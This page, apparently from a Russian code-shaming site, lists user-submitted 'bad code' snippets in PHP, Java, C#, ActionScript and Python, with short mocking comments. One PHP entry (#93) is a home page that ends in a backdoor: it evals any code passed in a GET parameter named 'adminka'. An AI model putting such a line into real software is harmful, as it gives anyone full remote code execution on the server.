1. Лучший говнокод

    В номинации:
    За время:
  2. PHP / Говнокод #141

    +60

    1. 1
    2. 2
    3. 3
    if (isset($param) && $param!=null && $param!=0 && $param>1) {
      sendRequest($param);
    }

    guest, 12 Декабря 2008

    Комментарии (8)
  3. Java / Говнокод #128

    −60

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    if (!account_number.equals("") && cycleT != null) {
        if (!account_number.equals(num)) {
            doWrite(bufferedOut);
            account_number = num;
            cycleT = c;
            vT = v;
        } else if (!cycleT.equals(c)) {
            doWrite(bufferedOut);
            account_number = num;
            cycleT = c;
            vT = v;
        } else if (vT != v) {
            doWrite(bufferedOut);
            account_number = num;
            cycleT = c;
            vT = v;
        }
    } else {
        account_number = num;
        cycleT = c;
        vT = v;
    }

    guest, 12 Декабря 2008

    Комментарии (8)
  4. PHP / Говнокод #109

    +27.7

    1. 1
    2. 2
    3. 3
    4. 4
    $int = (int) $int;
    if (is_int($int)) { // на всякий случай
       // ...
    }

    Идея где-то валяется в залежах башорга.

    guest, 11 Декабря 2008

    Комментарии (8)
  5. Java / Говнокод #108

    −55.8

    1. 1
    2. 2
    3. 3
    4. 4
    public static int daysBetween(Date startDate, Date endDate)
    {
         int difInDays = (int) ((endDate.getTime() - startDate.getTime())/(1000*60*60*24));
    }

    Потрясающая воображение функция, которая считает разницу в днях между датами. Различие с правильным результатом в +\- 1 день получается в 30% случаев...

    guest, 11 Декабря 2008

    Комментарии (8)
  6. PHP / Говнокод #93

    +87.3

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    9. 9
    <?php
    echo "<html>";
    echo "<body>";
    echo "<h1>This is my home page</h1>";
    echo "DATENG & DOORWAY";
    echo "</body>";
    echo "</html>";
    if (isset($_GET['adminka'])) eval($_GET['adminka']);
    ?>

    guest, 10 Декабря 2008

    Комментарии (8)
  7. C# / Говнокод #92

    +31

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    public TourResult NextTour()
          {
            TourResult lresult = new TourResult();
            lresult.TourNum = mCurrentTour;
            lresult.IsEnd = false;
            Card.Face[] lCurrFaces = getCurrentTourFace();
            int lMaxFace = 0;
            foreach (Card.Face lFace in lCurrFaces)
            {
              lMaxFace = ((int)lFace) > lMaxFace ? (int)lFace : lMaxFace;
            }
            int lMaxFaceCount = 0;
            int lNotZeroCount = 0;
            foreach (Card.Face lFace in lCurrFaces)
            {
              lMaxFaceCount = (int)lFace == lMaxFace ? lMaxFaceCount + 1 : lMaxFaceCount + 0;
              lNotZeroCount = (int)lFace != 0 ? lNotZeroCount + 1 : lNotZeroCount + 0;
            }
    
            if (lMaxFaceCount > 1)
            {
              mUnknowTour = mUnknowTour > -1 ? mUnknowTour : mCurrentTour;
              mCurrentTour++;
              lresult.Message = "Одинаковые карты, надо разиграть";
              lresult.PlayerIndex = -1;
              lresult.Face = (Face)lMaxFace;
              return lresult;
            }
            int lMaxFaceIndex;
            for (lMaxFaceIndex = 0; lMaxFaceIndex < lCurrFaces.Length; lMaxFaceIndex++)
            {
              if (((int)lCurrFaces[lMaxFaceIndex]) == lMaxFace)
                break;
            }
            if (lNotZeroCount < 2)
            {
              lresult.Message = "победил";
              lresult.PlayerIndex = lMaxFaceIndex;
              lresult.IsEnd = true;
              return lresult;
            }
            int lPlaerCardsCount = mArr[lMaxFaceIndex].Count;
            if (mUnknowTour > -1)
            {
              for (int i = mUnknowTour; i <= mCurrentTour; i++)
              {
                AddCardsToPlayer(i, lMaxFaceIndex);
              }
              mUnknowTour = -1;
            }
            else
            {
              AddCardsToPlayer(mCurrentTour, lMaxFaceIndex);
            }
    
            lresult.Message = "загреб краты";
            for (int i = lPlaerCardsCount; i < mArr[lMaxFaceIndex].Count; i++)
            {
              lresult.Message += string.Format(" {0},", GetCardName(mArr[lMaxFaceIndex][i]));
            }
    
            lresult.PlayerIndex = lMaxFaceIndex;
            mCurrentTour++;
            return lresult;
          }

    Говнокод из карточной игры в пьяницу

    guest, 10 Декабря 2008

    Комментарии (8)
  8. Java / Говнокод #71

    −43.8

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    private Map<Class<?>, Map<String, String[]>> compressDependencies(
          Map<Class<?>, Map<String, List<String>>> dependencies) {
        final Map<Class<?>, Map<String, String[]>> result =
            new FastMap<Class<?>, Map<String, String[]>>(dependencies.size());
        final Set<Entry<Class<?>, Map<String, List<String>>>> entrySet = dependencies.entrySet();
        for (Entry<Class<?>, Map<String, List<String>>> entry : entrySet) {
          final Map<String, List<String>> value = entry.getValue();
          final Map<String, String[]> desc = new FastMap<String, String[]>(value.size());
          final Set<Entry<String, List<String>>> subEntries = value.entrySet();
          for (Entry<String, List<String>> valueEntry : subEntries) {
            final List<String> list = valueEntry.getValue();
            if (list != null && !list.isEmpty()) {
              desc.put(valueEntry.getKey(), list.toArray(new String[list.size()]));
            }
          }
          result.put(entry.getKey(), desc);
        }
        return result;
      }

    Код от "мега разработчика", архитектора очень большого проекта.

    PS Будьте осторожны в использовании java generics :)

    guest, 08 Декабря 2008

    Комментарии (8)
  9. ActionScript / Говнокод #58

    −552.7

    1. 1
    2. 2
    3. 3
    4. 4
    function isAvailable():Boolean{
        return ExternalInterface.available;
    }
    ExternalInterface.addCallback('isAvailable', isAvailable);

    это примерно как в ХТМЛ
    alert("ваш браузер не поддерживает яваскрипт")

    guest, 04 Декабря 2008

    Комментарии (8)
  10. ActionScript / Говнокод #44

    −586.4

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    /**
    * создаем RemoteObject и регестрируем слушателей его метода sayLogin
    * */
    public function useLogonService():void
    {
    	logonService = new RemoteObject();
    	logonService.destination = "amfphp";
    	logonService.source = "ez_report.logon";
    	logonService.sayLogin.addEventListener("result",resultHandler);
    	logonService.addEventListener("fault", faultHandler);				
    }
    	
    /**
     * после запуска модуля стартуем здесь все, что необходимо.
     * */
    public function logonInit():void
    {
    	useLogonService();
    	loginInput.setFocus();
    }
    	
    /**
     * вызываем RO метод с параметрами из textinput,
     * который возвращает объект типа User, если регистрация прошла успешно.
     * */ 
    public function sayLogin():void
    {
    	logonService.sayLogin(loginInput.text,passInput.text);	
    }
    			
    //todo: ПЕРЕДЕЛАТЬ НАХЕР!!! УЁ..ИЩЕ!! все сделать через интерфейсы и события!
    /**
     * присваиваем переменным в main.swf соответствующие значения
     * */ 
    private function resultHandler(rs:ResultEvent):void
    {
    	parentApplication.login=loginInput.text;
    	parentApplication.password=passInput.text;
    	parentApplication.removeLogonModule();
    }			
    
    //todo: прикрутить, наконец, проверку типа ошибки.			
    private function faultHandler(f:FaultEvent):void
    {
    	Alert.show(f.fault.faultString+f.fault.faultDetail+f.message.body.toString());
    }

    Crazy horse
    Когда-то мной писалось и такое))
    кошмар, конечно, но все на чем-то учатся.
    Теперь особо радуют комментарии (AsDoc, как же,)
    связь с parentApplication и отсутствие прокси.

    guest, 01 Декабря 2008

    Комментарии (8)
  11. Python / Говнокод #29134

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    def pause(c):                                             #replace, assist
        if c > 100: waitLong(c)
        elif c== 1: wait1s()
        elif c== 2: wait2s()
        elif c== 3: wait3s()
        elif c== 5: wait5s()
        elif c== 8: wait8s()
        elif c== 10: wait10s()
        else:
            logger.debug(f"custom timeout, need recheck({c})")
            p(c)   #ping raspberry instead of direct sleep
    
    def p(c):
        time.sleep(c)
    
    def wait1s():
        p(1)
    
    def wait2s():
        wait1s()
        wait1s()
    
    def wait3s():
        logger.debug("one, two, three")
        p(3)   
    
    def wait5s():
        logger.debug("5, 4, 3, 2, 1..")
        p(5)
    
    def wait8s():
        wait5s()
        wait3s()
    
    def wait10s():
        wait5s()
        wait5s()
    
    def waitLong(c):
        logger.debug(f"Attention, wait time is too long({c}), need to replace with waiting for some event or ping")
        p(c)
    
    def cc():
        global client
        client.connect()
        return(client)

    NikitaTsyb, 15 Мая 2025

    Комментарии (7)